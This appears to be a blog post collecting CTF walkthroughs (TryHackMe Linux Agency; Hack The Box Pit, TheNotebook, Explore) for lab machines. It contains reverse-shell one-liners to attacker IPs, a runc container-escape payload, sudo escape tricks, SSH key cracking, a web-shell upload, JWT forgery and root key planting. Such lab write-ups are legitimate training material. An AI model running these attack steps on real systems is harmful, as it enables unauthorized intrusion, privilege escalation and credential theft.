We will use python2 to decrypt the encrypted string.

d = 61527
n = 37627

with open("./rsa.txt","rb") as r:
    data=r.read()

numbers=[int(x) for x in data.rstrip('\n').split(' ')]
a=[pow(x, d, n) for x in numbers]
a=''.join(chr(x) for x in a)

with open("./id_rsa","wb") as w:
    w.write(a)

After having id_rsa, we will crack the passphrase. We will use JohntheRipper ssh2john.py to crack the private key.

python3 ssh2john.py id_rsa > hash

Next, we use JohntheRipper and rockyou.txt.

This link tells us how to install and use JohntheRipper.

john-the-ripper -w=rockyou.txt hash

Then, we can connect to ssh:

chmod 600 id_rsa
ssh -i id_rsa willow@10.10.166.166

There is an image:

We can get the file with:

scp -i id_rsa willow@10.10.138.151:/home/willow/user.jpg .

And we have the flag.

#2 “Root Flag:

Check what we can do with:

sudo -l

Check /dev/

And we found hidden_backup.

sudo mount /dev/hidden_backup /tmp

Read the file.

Then change to root.

But we found nothing.

There is a hint.

“You’ve got my password now — go find your flag!”

So, we will use root‘s password to extract data from user.jpg.

steghide extract -sf user.jpg

TryHackMe solution: Linux Agency

Link: https://tryhackme.com/room/linuxagency

Task 3: Linux Fundamentals

#1 “What is the mission1 flag?

Connect to ssh and you have the the flag.

#2 “What is the mission2 flag?

Use ls in /home/mission1

#3 “What is the mission3 flag?

Read flag in /home/mission2

#4 “What is the mission4 flag?
strings flag.txt
#5 “What is the mission5 flag?
#6 “What is the mission6 flag?
#7 “What is the mission7 flag?
#8 “What is the mission8 flag?
#9 “What is the mission9 flag?
find / -type f -user mission8 2>/dev/null | grep -v proc
#10 “What is the mission10 flag?
cat rockyou.txt | grep mission10
#11 “What is the mission11 flag?
find . -type f
#12 “What is the mission12 flag?

Read .bashrc

cat .bashrc

Decode the string with Base64 decoder.

fTAyN2E5Zjc2OTUzNjQ1MzcyM2NkZTZkMzNkMWE5NDRmezIxbm9pc3NpbQo=

Then you can use Best Reverse String / Text tool.

#13 “What is the mission13 flag?
chmod +r flag.txt
cat flag.txt
#14 “What is the mission14 flag?
bWlzc2lvbjE0e2Q1OThkZTk1NjM5NTE0Yjk5NDE1MDc2MTdiOWU1NGQyfQo=

Decode the string with Base64 decoder.

#15 “What is the mission15 flag?
01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101 01111011 01100110 01100011 00110100 00111001 00110001 00110101 01100100 00111000 00110001 00111000 01100010 01100110 01100001 01100101 01100110 01100110 00110000 00110001 00110001 00111000 00110101 01100011 00110011 00110101 00110100 00110111 01100110 00110010 00110101 00110101 00111001 00110110 01111101

Decode the string with Binary to Text Translator.

#16 “What is the mission16 flag?
6D697373696F6E31367B38383434313764343030333363346332303931623434643763323661393038657D

Decode the string with Hex to Text.

#17 “What is the mission17 flag?
chmod +x flag
./flag
#18 “What is the mission18 flag?

You can run Java with Online Java Compiler.

#19 “What is the mission19 flag?
ruby flag.rb
#20 “What is the mission20 flag?

You can run C with Online C Compiler.

#21 “What is the mission21 flag?
python3 flag.py
#22 “What is the mission22 flag?

Read .bashrc

cat .bashrc

Decode the string with Base64 decoder.

fWZhYTk0ZDI0YjQ4OTZlMmE2ZGU5ODgwYmU0N2FhYzQyezIybm9pc3NpbQo=

Then you can use Best Reverse String / Text tool.

#23 “What is the mission23 flag?

We will use python to run system commands.

import os
os.system('cd && ls -la');
os.system('cd && cat flag.txt');
#24 “What is the mission24 flag?

We have a message here, the hint is ‘hosts‘ and ‘curly‘.

So we read /etc/hosts and found a host, use curl with this host.

cat /etc/hosts
curl mission24.com | grep mission
#25 “What is the mission25 flag?

We found an execute file, run this and we have:

Use ltrace:

ltrace ./bribe

So, we have to add money to ‘pocket‘ and add value to ‘init‘.

export pocket=money
export init=1
./bribe
#26 “What is the mission26 flag?

We have to use commands with the path to execute:

/bin/ls
/bin/cat flag.txt
#27 “What is the mission27 flag?

We have an image:

strings flag.jpg | grep mission
#28 “What is the mission28 flag?

We have a .gz file, extract it and read the flag:

gzip -d flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
strings flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png | grep mission
#29 “What is the mission29 flag?

We will use ruby to run system commands.

system('cd && ls -la');
system('cd && cat txt.galf');

Then you can use Best Reverse String / Text tool.

#30 “What is the mission30 flag?

The hint is:

“Maybe!! You need to know how to set authentication on websites.”

Do a little research and I found .htpasswd

cat .htpasswd
#31 “What is viktor’s Flag?

The hint is:

“You will need a time machine used by programmers.

So we think about logs.

Task 4: Privilege Escalation

#1 “What is dalia’s flag?

Check crontab:

cat /etc/crontab

We see that dalia executes /opt/scripts/47.sh every minute, so we write to this file.

Stand a netcat listener in our machine:

nc -lvnp 1234

Write to /opt/scripts/47.sh

echo 'bash -i >& /dev/tcp/10.6.63.158/1234 0>&1' >> /opt/scripts/47.sh

Wait a little bit and we have the shell:

#2 “What is silvio’s flag?

Check what we can do with:

sudo -l

Follow steps in GTFOBins, we can change to silvio.

TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'
#3 “What is reza’s flag?

Use:

sudo -l

Spawn a TTY shell with:

python3 -c 'import pty; pty.spawn("/bin/bash");'

Then change to reza with:

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
#4 “What is jordan’s flag?

Use:

sudo -l

We can run a python file as jordan but we cannot read or write to this file. Try to run it:

sudo -u jordan /opt/scripts/Gun-Shop.py

So, we will write a module for this file to import.

cd /tmp
echo 'import os' > shop.py
echo 'os.system("/bin/bash");' >> shop.py

And change to jordan with:

sudo -u jordan PYTHONPATH=/tmp/ /opt/scripts/Gun-Shop.py

Then you can use Best Reverse String / Text tool.

#5 “What is ken’s flag?

Use:

sudo -l
sudo -u ken less /etc/profile
!/bin/sh
#6 “What is sean’s flag?

Use:

sudo -l
sudo -u sean vim -c ':!/bin/sh'

sean‘s flag is in /var/log/syslog.bak

cat /var/log/syslog.bak | grep sean
#7 “What is penelope’s flag?

Next to sean‘s flag, there is a base64 string:

VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==

Decode the string with Base64 decoder, we have penelope‘s password.

#8 “What is maya’s flag?

In penelope‘s home, there is a maya‘s file and its SUID bit is set, so we use it to read file in /home/maya.

./base64 /home/maya/flag.txt

Decode the string.

#9 “What is robert’s Passphrase?

We have a message:

We will get robert‘s id_rsa.

In our machine, we will use JohntheRipper to crack the private key, we will use ssh2john.py.

python3 ssh2john.py id_rsa > hash

Next, we use JohntheRipper and rockyou.txt.

This link tells us how to install and use JohntheRipper.

john-the-ripper -w=rockyou.txt hash
#10 “What is user.txt?

We cannot change to robert. Check open ports:

ss -lntu

Port 2222 is open, so we think about connect to ssh server.

ssh robert@127.0.0.1 -p 2222 -i id_rsa

Use the Passphrase we found before.

Check what we can do with:

sudo -l

We can get root with:

sudo -u#-1 /bin/bash
#11 “What is root.txt?

Use:

cat /proc/1/cgroup

We are inside a docker container, we will follow steps in Mounted docker socket to breakout of docker.

find / -name docker.sock 2>/dev/null
docker images

But there is an error:

So, we will find docker:

find / -name '*docker*' 2>/dev/null

And we found: /tmp/docker

/tmp/docker images
/tmp/docker run -it -v /:/host/ b5f279024ce0 chroot /host/ bash

And we finished the room.

Hack The Box solution: Pit ~ 10.10.10.241

Enumeration

Scan open ports with RustScan:

rustscan -a 10.10.10.241 -- -sCV

Port 9090 is open, so we access: https://10.10.10.241:9090/

But we cannot login.

There is a host in the nmap output:

dms-pit.htb

Add the host to /etc/hosts

10.10.10.241	dms-pit.htb

But this web is forbidden.

Use UDP scan:

sudo nmap -sCVU 10.10.10.241

Port 161 is open with Simple Network Management Protocol (snmp) service.

We will use snmp tool for this machine.

./snmpbw.pl 10.10.10.241 public 2 1
cat 10.10.10.241.snmp

We found directories:

and usernames:

Access the directory we found:

http://dms-pit.htb/seeddms51x/seeddms

We can login using the username we found, the password is the same.

Search for SeedDMS in Exploit Database, we have SeedDMS versions < 5.1.11 – Remote Command Execution.

Go to our Docs -> Users -> Michelle:

Add document, we will upload ‘1.php‘ to the server.

Then, go to the file (change the document id):

http://dms-pit.htb/seeddms51x/data/1048576/32/1.php?cmd=cat+/etc/passwd

And the command executed.

Do a little enumerating, we found:

http://dms-pit.htb/seeddms51x/data/1048576/33/1.php?cmd=cat%20/var/www/html/seeddms51x/conf/settings.xml

View page source for a better view:

Foothold

Use the password with the username we found before, we can login to: https://pit.htb:9090/

Go to Terminal, we can get the flag:

Privilege Escalation

When using snmp tool, we found:

cat /usr/bin/monitor

We will create check.sh for /usr/bin/monitor to execute.

In our machine, run:

ssh-keygen

Create check.sh

#!/bin/bash
echo 'your-public-key' > /root/.ssh/authorized_keys

Host a http server:

python3 -m http.server 8080

In the michelle‘s terminal, we run:

curl http://10.10.16.4:8080/check.sh -o /usr/local/monitoring/check.sh

After uploading the file, in our machine, run:

sudo apt-get install snmp-mibs-downloader
snmpwalk -m +MY-MIB -v2c -c public 10.10.10.241 nsExtendObjects

And check.sh is executed, connect to ssh:

ssh -i id_rsa root@10.10.10.241

Hack The Box solution: TheNotebook ~ 10.10.10.230

Enumeration

Scan open ports with RustScan:

rustscan -a 10.10.10.230 -- -sCV

Access the web: http://10.10.10.230/

Register an account and login. View the Cookie:

This page use an JWT token, decode it with JSON Web Tokens – jwt.io.

There is a field named "admin_cap" with the false value.

The token use "kid", we can read more in Hacking JWT Tokens: kid Claim Misuse — Key Leak.

Foothold

Create a private rsa key in our machine:

openssl genrsa -out privKey.key 2048

Continue use JSON Web Tokens – jwt.io to encode a JWT token with our private key. Change the value of "admin_cap" to true and change "kid" to our file.

Then, host a http server:

python3 -m http.server

Paste the new token into the Cookie and reload the webpage.

Now, we have the admin page. Go to Admin Panel:

We can upload file, we will upload php-reverse-shell.php (change the IP) to the server.

Stand a netcat listener in our machine:

nc -lvnp 1234

And view the file:

We found a backup file in /var/backups

Host a http server in the target machine:

python3 -m http.server 1235

And get the file in our machine:

wget http://10.10.10.230:1235/home.tar.gz

We found a private key for ssh.

Then connect to ssh with:

ssh -i id_rsa noah@10.10.10.230

And we have the flag.

Privilege Escalation

Check what we can do with:

sudo -l

Check docker version:

docker --version

This machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit (CVE-2019-5736).

Download file main.go, change the payload in the file into:

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/10.10.14.47/1234 0>&1"

On our machine, run:

go build main.go

Host a http server in our machine:

python3 -m http.server

And in another terminal stand a netcat listener:

nc -lvnp 1234

In the target machine, run:

sudo docker exec -it webapp-dev01 bash
wget http://10.10.14.47:8000/main
chmod +x main
./main

Quickly execute in another ssh terminal:

sudo docker exec -it webapp-dev01 /bin/sh

And we have the flag.

Hack The Box solution: Explore ~ 10.10.10.247

Enumeration

Scan open ports with RustScan:

rustscan -a 10.10.10.247 -- -sCV

Service details:

Search in Exploit Database and we found ES File Explorer 4.1.9.7.4 – Arbitrary File Read.

Foothold

Use the exploit, we get a list of Pictures:

python3 50070.py listPics 10.10.10.247

There is a file named ‘creds.jpg‘. Get this file:

python3 50070.py getFile 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg

And now we have a credential.

Connect to ssh:

ssh kristi@10.10.10.247 -p 2222

We will get the flag in /sdcard.

Privilege Escalation

Check listening ports with:

netstat -l

Port 5555 is open.

We will use SSH Tunneling for this machine.

ssh -L 5555:127.0.0.1:5555 -N -f kristi@10.10.10.247 -p 2222

Then use adb.

adb connect 127.0.0.1:5555
adb shell
su

And the flag is in /data

Design a site like this with WordPress.com
Get started